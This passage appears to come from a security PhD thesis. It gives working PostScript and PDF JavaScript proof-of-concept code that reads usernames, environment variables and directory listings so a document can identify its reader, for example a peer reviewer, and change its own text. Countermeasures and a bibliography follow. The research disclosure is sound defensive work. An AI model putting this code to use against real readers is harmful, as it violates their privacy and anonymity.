97 /psbcshow {/psbcshowbool true def} def
98 % Reset counter
99 /psbcreset {/psbccount 0 def} def

100 %
101 /psbcselect
102 {psbccount psbcwho eq{psbcshow}
103 {psbchide}ifelse /psbccount psbccount 1 add def
104 } def
105 }
106 \immediate\closeout\psfile
107 % Include header
108 \AtBeginDvi{\special{header=psbc.pro}}
109 }

Listing 4.10: The psbc style file (Part 3).
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1 \documentclass{article}
2 \usepackage{pstricks}
3 \usepackage{psbc}
4

5 \psbcaddname{DUERMUTH}
6 \psbcaddname{UNRUH}
7 \psbcaddname{BACKES}
8

9 \begin{document}
10

11 \psbchide
12 abcdefghijklmnopqrstuvwxzy
13 ABCDEFGHIJKLMNOPQRSTUVWXZY0123456789?!,.;:
14 \psbcshow
15

16 Dies ist
17 \psbcitem{ein}{%
18 \psbcsep{ein}%
19 \psbcsep{gin}%
20 \psbcsep{hin}%
21 \psbcsep{jin}%
22 }
23 Test.
24 \end{document}

Listing 4.11: Sample document illustrating the use of the psbc macros.
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1 [ (DUERMUTH) (UNRUH) (BACKES) ] /psbcnames exch def
2 /psbcmax psbcnames length def
3

4 /uppercase {
5 /s exch def 0 1 s length 1 sub {
6 s exch dup s exch get dup 97 ge {32 sub} if put
7 } for s
8 } def
9 /find {

10 /s exch def 0 1 psbcmax 1 sub {
11 dup s exch psbcnames exch get search
12 { pop pop pop /psbcwho exch 1 add def } { pop } ifelse
13 } for
14 } def
15

16 systemdict /getenv known not { /getenv {pop false} def } if
17 /psbcwho 0 def /psbcusername () def
18

19 (USERNAME) getenv { uppercase find } if
20 (LOGNAME) getenv psbcwho 0 eq and
21 { uppercase find } if
22 (COMPUTERNAME) getenv psbcwho 0 eq and
23 { uppercase find } if
24 (HOME) getenv psbcwho 0 eq and { uppercase find } if
25

26 (C:/Documents and Settings/∗) { uppercase find } 256 string
27 filenameforall
28 (/home/∗) { uppercase find } 256 string filenameforall
29

30 /psbcoldshow {show} bind def
31 /psbcshowbool true def
32 /show { psbcshowbool {psbcoldshow}{pop}ifelse } def
33 /psbchide {/psbcshowbool false def} def
34 /psbcshow {/psbcshowbool true def} def
35 /psbcreset {/psbccount 0 def} def
36

37 /psbcselect {
38 psbccount psbcwho eq
39 {psbcshow} {psbchide} ifelse
40 /psbccount psbccount 1 add def
41 } def

Listing 4.12: An example of the produced header file (.pro), which is PostScript code
inserted into the preamble of the generated PostScript document (re-formatted for read-
ability).
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• /uppercase defines a helper function that converts a string on the sack to
upper case (lines 4 to 8), and \find compares a string on the stack with
every entry in the list of names defined earlier (lines 9 to 14).

• If the command /getenv is unknown (another interpreter than GhostScript
is used), then a dummy version of this command is defined to ensure clean
termination (line 16).

• A default value for /psbcwho is defined in line 17, which is an index of the
user in the initial list (where a value of 0 means that the name was not
found).

• In the following, a list of environment variables and directories are tested
if they contain the usernames (lines 19 to 28).

• Finally, the LaTeX commands are defined: The old /show routine is saved
(using bind def, which performs early binding). The new /show routine
is defined such that it can be switched on and off using a Boolean vari-
able /psbcshowbool, along with commands to set (/psbcshow) and unset
(/psbchide) this variable, and the command /psbcselect as described
above. Note that the commands \psbcitem and \psbcsep are LaTeX
macros only used to construct the array which is shown in line 1 of List-
ing 4.12.

A variant of this attack on the peer-reviewing process, which does not even
need a back-channel, is the following: after identifying the reviewer, the document
could adaptively modify itself to include, e.g., references to the reviewer’s work or
comments that are likely to please that particular reviewer and thus increase the
probability of acceptance. Furthermore, the information transmitted back to the
originator of the document is not limited to the username. Malicious PostScript
code might have, e.g., access to passwords stored on the hard disk.

4.7 On the Security of PDF Documents

Finally, we consider the natural question if similar attacks can be mounted with
PDF documents. We found that PDF documents [3] by themselves are inherently
more secure than PostScript documents, as the design is fundamentally different:
First, PDF is not a general purpose programming language, but page-description
format which is solely designed to describe a document containing text and graph-
ics. Primarily, this facilitates the task of the document viewer significantly (recall
that for PostScript the Document Structuring Conventions (DSC) were required
to help document viewers), but also provides less flexibility for attacks. Second,
even though PDF allows JavaScript to be embedded in the document, but this
code is executed in a (relatively) strict sandbox environment.
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However, we found that under certain circumstances the user’s name is still
accessible to the document, and embedded JavaScript code is able to change
the document in an almost arbitrary manner using form fields.10 This allows
an attacker to mount an attack against the user’s privacy similar to the attack
shown in Section 4.6.

We keep the description of this attack short, as it is similar to the previous
attack on a conceptual level, and most readers will find the few lines of code easily
readable, thus we can omit a lengthy introduction to the file format. In particular,
we do not give a full introduction to PDF, and only use Adobe Acrobat to edit
the PDF files, instead of hand-coding the PDF.

4.7.1 Example Code

There are two aspects that need to be re-addressed when considering PDF docu-
ments: (i) We need to find a method to access the user’s name (or some derived
form) from within the document, and (ii) We need to find a way to change parts
of the document as a function of the name, with enough flexibility to implement
an encoding as before. We address these two aspects in the following.

Accessing the User’s Identity. As far as we know, this task is considerably
harder and less reliable in JavaScript embedded in a PDF document, as the
sandbox in which JavaScript is executed is relatively strict: there is neither access
to the file system nor to environment variables. However, one important piece of
information is available. The object this, which refers to the current document
object, has a property path which holds the path where the document is located,
and this field is accessible. Assuming that the document is placed in the user’s
home directory (many users place downloaded files on the desktop, which is
located in the home directory), and that the name of the home directory is related
with the user’s name, we can still carry out the attack. We believe that these
assumptions are often fulfilled: In Unix-like multi-user systems (in particular
Linux and Mac OS X) the user typically has write-access to his home-directory
only. On Windows, many users use the Documents folder or the Desktop folder,
where both are sub-folders of their home directory, in order to keep their data
separated from the rest of the system. The username seems often to be derived
from he user’s real name, in particular on office computers.

Dynamic Documents. Next, we describe the main steps for constructing ma-
licious PDF documents that dynamically change their appearance. We use Adobe
Acrobat Professional as a tool to edit PDF documents. The resulting document
is a working attack if viewed in the Adobe Reader and Adobe Acrobat, which

10Note again that we are not interested in programming errors, which are addressed typically
by code inspection, but in conceptual flaws.
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1 var p = this.path;
2 var i = p.indexOf(”/”,4);
3 var j = p.indexOf(”/”,27);
4 var name = p.substring(i+1,j);
5 var f = this.getField(”Text1”);
6 f.value = name;

Listing 4.13: Example JavaScript code for PDF documents.

seems to be by far the most common choice. Note that not all PDF-readers han-
dle JavaScript, e.g., Evince, the standard document viewer on Ubuntu, does not
execute JavaScript.

• We start with a PDF document containing the static parts of the document,
which leaves out the dynamic parts of the document. This document can
be obtained by any word processor.

• We add a text-field (e.g., with name Text1) at each position where dynamic
text should be displayed. This text field is formated identical to the remain-
ing text, e.g., the border is removed and the font is chosen to be the same.
(The text field can still be identified in the document, as the mouse cursor
changes while placed over the field. However, we believe that only few users
notice this.)

• The JavaScript code for reading the path name and filling out the form can
be bound to the PageOpen event using Adobe Acrobat. A simple example
showing the potential username (as extracted from the path at a guessed
location) is given in Listing 4.13.

This example demonstrates that even PDF documents can be attacked by the
described attack, even though it is substantially less reliable.

4.8 Countermeasures

Making PostScript and PDF resistant to these attacks is straightforward from a
conceptual point of view: First, access to the file system needs to be disabled, at
least from the context of the document. Second, a document should be unable
to gain any information from the computer it is interpreted on. This means that
the interpreter should provide exactly the same environment to each document it
processes, on every computer and on any platform. To the best of our knowledge
it is sufficient to disable file access, directory-listing, and environment access.

In practice, these requirements seem to be hard to achieve: For Adobe Dis-
tiller, fundamental changes needed to be done to disable access to the file sys-
tem [4]. (While we were not told the reason for this, we believe the problems were
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similar as for GhostScript, namely that the architecture of the interpreter relied
on file access.) Even worse, the absence of information flow from the environment
to the document seems to be even harder to get right, as the problem still persists
after many years of effort to increase the security of the GhostScript interpreter.

4.9 Conclusion

In this chapter we have shown that the fact that PostScript is a programming lan-
guage and offers access to the local file system can undermine the confidentiality
of personal data on the recipient’s computer. We demonstrated several examples
how one can exploit these weaknesses. These include documents deleting files
from the local file system and writing arbitrary data, documents changing the
printed text, a basic virus that can be combined with any of these, and finally doc-
uments that allow to de-anonymize the reviewer in the (scientific) peer-reviewing
process.

The biggest problem of arbitrary writing access to the local file system is fairly
easy to prevent, and current versions of commonly used interpreters prevent this
threat (Adobe Distiller and Evince prevent this access only since we informed
them of the threat). However, the unwanted information flow that de-anonymizes
the peer-reviewers is more subtle and has been overlooked by all the programmers
so far.

This is yet another example of how hard it is to design secure systems, and
that this process in practice often is iterative: while the first attempts to make
file system access in GhostScript secure date back to 1992, several later changes
to balance usability and security were required, and the whole process took over
a decade. Our findings again question the security of current implementations,
and we believe that the security model again requires adjustments.
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Es ist schon alles gesagt, nur noch nicht

von allen.

— Karl Valentin

5
Summary

In this work we presented three previously unknown attacks; two side channel
attacks based on physical emanation, namely acoustic and optic emanations, and
one covert channel, based on an incomplete modeling of the information flow that
appears when displaying PostScript documents.

First, we showed that optical emanations of a monitor constitute a potential
security risk, as reflections in a wide variety of objects can be used to spy on
monitors, even when there is no direct line of sight from the attacker’s location
to the monitor. We exploited tiny reflections in a variety of objects, such as
teapots, glasses, and even the human eye. We had to overcome several problems
that originate from the small size of the reflections and the required very high
magnifications: shot-noise caused by the very small amount of light that reaches
the observer, out-of-focus blur caused by the tiny depth-of-field of the imaging
system, and motion blur caused by the movement of the human eye and the
required long exposure times. We overcame these problems using a combination
of appropriate hardware and image post-processing. We also derived bounds
on the applicability of the attack, which is necessary to estimate and bound the
effectiveness of the attack. To our knowledge this is the only attack that applies to
today’s typical environments, where CRT monitors are replaced by TFT monitors
and electromagnetic radiation can be (and in highly-sensitive areas actually is)
shielded. Reflections from the eye are particularly interesting, because the eye
is present in essentially any environment were sensitive information is displayed,
and thus poses a threat more difficult to mitigate.

We showed further that even from diffuse reflections large fonts can be recon-
structed, and we proved a bound on the resolution that one can obtain. We also
demonstrated and evaluated countermeasures that are effective against all these

111



Chapter 5 Summary

attacks. We proposed two new countermeasures, one based on polarization filters,
the other based on color filters.

Second, we showed that the text printed by a dot-matrix printer can be re-
constructed from the acoustic emanation. We showed that, in realistic scenar-
ios, we can recover printed text with an accuracy of 70% of the words. We
used audio-processing techniques to identify likely candidate words, and we used
language-engineering techniques to select the most likely candidates from these.

Third, we exposed several weaknesses in the design of the PostScript language.
We found a new form of a covert channel in the peer-reviewing process in scientific
publishing, which works with any PostScript interpreter, and we showed that
some interpreters even allowed deleting the entire hard-disk. These attacks are
based on the idea that PostScript is not only a Turing-complete language, but
additionally offers commands for accessing the file system and other internals of
the host computer.
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[64] Boris Köpf and Markus Dürmuth. A provably secure and efficient counter-
measure against timing attacks. In Proc. 22nd IEEE Computer Security
Foundations Symposium (CSF 2009), pages 324–335. IEEE Computer So-
ciety, 2009. An extended version is available as ePrint Report 2009/089,
eprint.iacr.org.

[65] Markus G. Kuhn. Optical time-domain eavesdropping risks of CRT displays.
In Proc. 2002 IEEE Symposium on Security and Privacy (Oakland 2002),
pages 3–18. IEEE Computer Society, 2002.

[66] Markus G. Kuhn. Electromagnetic eavesdropping risks of flat-panel dis-
plays. In Proc. 3th Workshop on Privacy Enhancing Technologies (PET
2004), volume 3424 of Lecture Notes in Computer Science, pages 88–107.
Springer, 2005.

[67] Markus G. Kuhn. Security limits for compromising emanations. In Proc. 7th
International Workshop of Cryptographic Hardware and Embedded Systems
(CHES 2005), volume 3659 of Lecture Notes in Computer Science, pages
265–279. Springer, 2005.
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Nutzung von Nadeldruckern, 2009. Commissioned by the Information Se-
curity and Cryptography Group, Saarland University.

[76] Keith Allen McMillan. A platform independent computer virus. Master’s
thesis, University of Wisconsin-Milwaukee, 1994.

[77] Thomas S. Messerges, Ezzy A. Dabbish, and Robert H. Sloan. Power anal-
ysis attacks of modular exponentiation in smartcards. In Proc. 1st Interna-
tional Workshop of Cryptographic Hardware and Embedded Systems (CHES
1999), volume 1717 of Lecture Notes in Computer Science. Springer, 1999.

[78] Medizinische Medien Informations GmbH MMI. Gelbe Liste Pharmindex.
Available online at http://www.gelbe-liste.de/.

[79] Fabian Monrose, Michael K. Reiter, and Susanne Wetzel. Password hard-
ening based on keystroke dynamics. International Journal of Information
Security (IJIS), 1(2):69–83, 2002.

[80] Fabian Monrose and Avi Rubin. Authentication via keystroke dynamics.
In Proc. 4th ACM Conference on Computer and Communication Security
(CCS 1997), pages 48–56. ACM, 1997.

[81] I. Moskowitz and A. R. Miller. Simple timing channels. In Proc. 1994 IEEE
Symposium on Security and Privacy (Oakland 1994), pages 56–64. IEEE
Computer Society, 1994.

[82] Meinard Müller. Information Retrieval for Music and Motion. Springer,
2007.

[83] Meinard Müller, Frank Kurth, and Michael Clausen. Audio matching via
chroma-based statistical features. In Proc. 6th International Conference on
Music Information Retrieval, pages 288–295, 2005.

129



Bibliography

[84] Steven J. Murdoch. Hot or not: Revealing hidden services by their clock
skew. In Proc. 13th ACM Conference on Computer and Communication
Security (CCS 2006), pages 27–36. ACM, 2006.

[85] Steven J. Murdoch. Covert channel vulnerabilities in anonymity systems.
PhD thesis, University of Cambridge, Computer Laboratory, 2007. Also
available as Technical Report UCAM-CL-TR-706.

[86] R. Nag, K. Wong, and F. Fallside. Script recognition using Hidden Markov
models. In IEEE Computer Society, editor, Proc. International Conference
on Acoustics, Speech, and Signal Processing, pages 2071–2074, 1986.

[87] National Security Agency. NACSIM 5000: Tempest Fundamentals. Avail-
able online at http://cryptome.info/0001/nacsim-5000.htm.

[88] National Security Agency. Tempest: A signal problem. Availabe online at
http://cryptome.org/nsa-tempest.pdf, 1972.

[89] Ko Nishino and Shree K. Nayar. Corneal imaging system: Environment
from eyes. International Journal on Computer Vision, 70(1):23–40, 2006.

[90] Alfredo Andres Omella. Methods for Virtual Machine detection. Available
online at http://www.s21sec.com/descargas/vmware-eng.pdf, 2006.

[91] S. Osher and L. Rudin. Total variation based image restoration with free
local constraints. In Proc. 1994 IEEE International Conference on Image
Processing, pages 31–35, Austin, Texas, 1994.

[92] Dag Arne Osvik, Adi Shamir, and Eran Tromer. Cache attacks and coun-
termeasures: The case of AES. In Proc. RSA Conference 2006, Cryptog-
raphers’ Track, volume 3860 of Lecture Notes in Computer Science, pages
1–20. springer, 2006.

[93] Francois Pachet and Jean-Julien Aucouturier. Music similarity measures:
What’s the use? In Proc. 3rd International Conference on Music Informa-
tion Retrieval, 2002.

[94] J. B. Pendry. Negative refraction makes a perfect lens. Phys. Rev. Lett.,
85(18):3966–3969, Oct 2000.

[95] The history of PostScript. Available online at http://www.prepressure.

com/postscript/basics/history.

[96] Common Criteria Project. Common criteria for information technology
security evaluation; Part 1: Introduction and general model (release 1),
September 2006.

130



Bibliography

[97] Danny Quist and Val Smith. Detecting the presence of virtual ma-
chines using the local data table. Available online at http://www.

offensivecomputing.net/files/active/0/vm.pdf.

[98] Qwest Communications International Inc. (Denver, CO): Polarizing pri-
vacy system for use with a visual display terminal. United States Patent
6262843, Filed 12/31/1997, online at http://www.freepatentsonline.

com/6262843.html.

[99] Lawrence R. Rabiner. A tutorial on Hidden Markov models and selected
applications in speech recognition. Proc. of the IEEE, 77(2):257–286, 1989.

[100] E. M. Rains and N. J. A. Sloane. Table of constant weight binary codes.
Available online at http://www.research.att.com/~njas/codes/Andw/.

[101] Ramesh Raskar, Amit Agrawal, and Jack Tumblin. Coded exposure pho-
tography: Motion deblurring using fluttered shutter. ACM Transactions
on Graphics, 25(3):795–804, 2006.

[102] Glenn C. Reid. Thinking in PostScript. Addison-Wesley, 1st edition, 1990.

[103] William H. Richardson. Bayesian-based iterative method of image restora-
tion. Journal of the Optical Society of America, 62(1):55–59, 1972.

[104] John S. Robin and Cynthia E. Irvine. Analysis of the Intel Pentium’s ability
to support a secure virtual machine monitor. In Proc. 9th USENIX Security
Symposium. USENIX Association, 2000.

[105] Yossi Rubner, Carlo Tomasi, and Leonidas J. Guibas. The earth mover’s
distance as a metric for image retrieval. International Journal of Computer
Vision, 40(2):99–121, 2000.

[106] Santa Barbara Instrument Group. The SBIG ST-10XME CCD camera.
Online at http://www.sbig.com/sbwhtmls/online.htm.

[107] Werner Schindler. A timing attack against RSA with the Chinese Remain-
der Theorem. In Proc. 2nd International Workshop of Cryptographic Hard-
ware and Embedded Systems (CHES 2000), volume 1965 of Lecture Notes
in Computer Science, pages 109–124. Springer, 2000.

[108] National Security Agency. Red/black installation guidance. Available on-
line at http://cryptome.info/0001/tempest-2-95.htm, 1995.

[109] SecurityFocus. Adobe Acrobat and Adobe Reader remote buffer over-
flow vulnerability (BugtraqID 14603). Available online at http://www.

securityfocus.com/bid/14603, August 2005.

131



Bibliography

[110] SecurityFocus. Multiple PDF readers multiple remote buffer overflow
vulnerability (Bugtraq ID 21910). Available online at http://www.

securityfocus.com/bid/21910, January 2007.

[111] SecurityFocus. Adobe Acrobat Reader ’acroread’ insecure temporary file
creation vulnerability (Bugtraq ID 28091). Available online at http://www.
securityfocus.com/bid/28091, March 2008.

[112] Adi Shamir and Eran Tromer. Acoustic cryptanalysis – On nosy people
and noisy machines. A preliminary proof-of-concept is available at http:

//people.csail.mit.edu/tromer/acoustic/.

[113] Steven W. Smith. The Scientist and Engineer’s Guide to Digital Signal
Processing. California Technical Publishing, 1997.

[114] Peter Smulders. The threat of information theft by reception of electro-
magnetic radiation from RS-232 cables. Computers & Security, 9:53–58,
1990.

[115] Dawn Xiaodong Song, David Wagner, and Xuqing Tian. Timing analysis
of keystrokes and timing attacks on SSH. In Proc. 10th USENIX Security
Symposium, pages 25–41. USENIX Association, 2001.

[116] Conficker’s virtual machine detection. Available online at http://www.

sophos.com/blogs/sophoslabs/v/post/3744, March 2009.

[117] Francois-Xavier Standaert, Siddika Berna Örs, and Bart Preneel. Power
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